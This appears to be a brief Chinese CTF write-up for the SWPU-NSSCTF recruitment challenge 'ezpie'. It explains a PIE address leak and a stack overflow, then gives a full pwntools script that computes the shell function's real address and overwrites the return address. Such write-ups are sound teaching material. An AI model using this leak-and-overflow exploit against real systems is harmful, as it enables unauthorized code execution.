2025 SWPU-NSSCTF 秋季招新入门 ezpie
首先查看保护措施

这里开启了PIE的保护
然后用ida打开看一下

这里打印了main函数实际的地址,那么可以接收这个地址,算出偏移量

vuln函数存在栈溢出

并且直接给出了shell,那就用算出的偏移地址加上在ida中看到的shell的地址,就是shell真实的地址
点击查看代码
from pwn import *
io=remote("node7.anna.nssctf.cn",21131)
io.recvuntil(b"gift!\n")
main = int(io.recv()[2:11],16)
print(hex(main))
offset=main-0x770
shell=offset+0x80F
payload=b"A"*(0x28+4)+p32(shell)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号